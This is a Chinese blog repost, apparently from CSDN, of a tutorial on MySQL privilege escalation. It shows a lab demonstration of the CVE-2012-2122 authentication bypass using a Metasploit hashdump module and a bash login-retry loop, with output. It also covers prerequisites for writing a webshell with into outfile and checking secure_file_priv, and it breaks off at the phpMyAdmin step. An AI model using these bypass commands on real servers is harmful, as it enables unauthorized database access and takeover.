MySQL提权总结(建议收藏)

本文详述了MySQL数据库的提权方法,包括利用CVE-2012-2122进行密码绕过,通过Webshell权限利用into outfile写shell,服务器权限提升中的UDF、动态链接库、启动项提权以及MOF提权等技术。文章还介绍了不同提权场景下的限制和应对策略,如MySQL版本和secure_file_priv权限的影响。
摘要由CSDN通过智能技术生成

原文地址:https://www.cnblogs.com/sfsec/p/15241860.html

前言

数据库权限

在平常的渗透提权中,我们通常可以在一些特殊情况下得到数据库的用户名和密码(最高权限root),如下:

MySQL 3306 端口弱口令爆破
sqlmap 注入的 --sql-shell 模式
网站的数据库配置文件中拿到明文密码信息
CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限

口令爆破、sqlmap的--sql-shell模式和数据库配置文件中拿明文密码已经老生常谈了,这里主要演示一下CVE-2012-2122

CVE-2012-2122

当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。

#受影响版本

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

在vunlub中启动CVE-2012-2122环境

 环境启动后用docker ps查看进程

 可以看到启动了一个Mysql服务(版本:5.5.23),监听端口为3306端口,默认的root用户的密码为123456

我们可以使用mysql客户端进行远程连接数据库

 连接测试就证明我们的环境正常搭建。然后就是漏洞利用了,正常模拟攻击者,我们是没有密码,不知道root的密码为123456的,这个时候我们就可以利用CVE-2012-2122来进行身份绕过

msf可以导出hash值

msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 > set rhosts 192.168.178.128
msf6 > run

或者直接bash输入

复制代码

root@root:~/桌面# for i in `seq 1 1000`; do mysql -u root --password=bad -h 192.168.178.128 2>/dev/null; done
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 854
Server version: 5.5.23 Source distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 

复制代码

MySQL提权

Webshell权限

into oufile 写 shell

into oufile 写 shell要满足如下条件才可以写入

1、知道网站物理路径
2、高权限数据库用户
3、load_file() 开启 即 secure_file_priv 无限制
4、网站路径有写入权限

 数据库查看是否有secure_file_priv限制

复制代码

mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | NULL  |
+------------------+-------+

复制代码

Value 说明
NULL 不允许导入或导出
/ 只允许在 / 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

利用phpmyadmin来into outfile

首先在存在phpmyadmin时,我们可以试试弱口令,root、root来进行登录phpmyadmin后台。登录进去后我们获取网站的绝对路径来进行写shell

在phpmyadmin中,我们可以利用log变量来猜测网站的绝对路径

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值